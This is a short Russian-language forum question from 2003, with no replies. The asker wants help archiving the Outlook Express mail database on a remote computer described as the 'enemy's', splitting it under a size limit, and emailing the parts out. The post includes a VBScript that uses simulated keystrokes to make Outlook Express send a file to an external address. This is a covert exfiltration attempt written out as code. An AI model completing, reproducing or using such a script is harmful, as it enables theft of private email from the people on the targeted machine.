| Вопрос: Отправка файлов через Outlook Express | Добавлено: 06.09.03 02:18 |
Автор вопроса:  VBnovichok
|
|
Привет народ, помогите плиз реализовать следующие задачи: - архивирование базы Outlook *.dbx на удаленном компе, архивами не более 400000 КБ (сервер врага больше не пропускает) - отправка частей архива на заданный email На удаленном компе WIN 2000,Outlook Express, WinRaR, права пользователя У меня в наличии только VBScript Set fso = CreateObject("Scripting.FileSystemObject") Set sh = CreateObject("WScript.Shell") sh.Run(""lamer.txt"") 'нужный файл WScript.Sleep 1000 sh.SendKeys("{F10}{Right}{Down 10}{Enter}") sh.SendKeys("{F10}{Right}{Down 3}{Enter}") sh.SendKeys("{F10}{Down 7}{Enter}") sh.Run("""C:\Program Files\Outlook Express\msimn.exe""") WScript.Sleep 1000 sh.SendKeys("{F10}{Down}{Right}{Enter}") sh.SendKeys("st@relib.com") sh.SendKeys("{Tab 3}") sh.SendKeys("{F10}{Right}{Down 4}{Enter}") WScript.Sleep 500 sh.SendKeys("^{Home}+{Down}{F10}{Right}{Down}{Enter}") sh.SendKeys("+{Tab}{F10}{Right}{Down 4}{Enter}") sh.SendKeys("{F10}{Down 2}{Enter 2}") Set sh = Nothing Set fso = Nothing Спасибо |
| Ответы | Всего ответов: 0 |
Страница: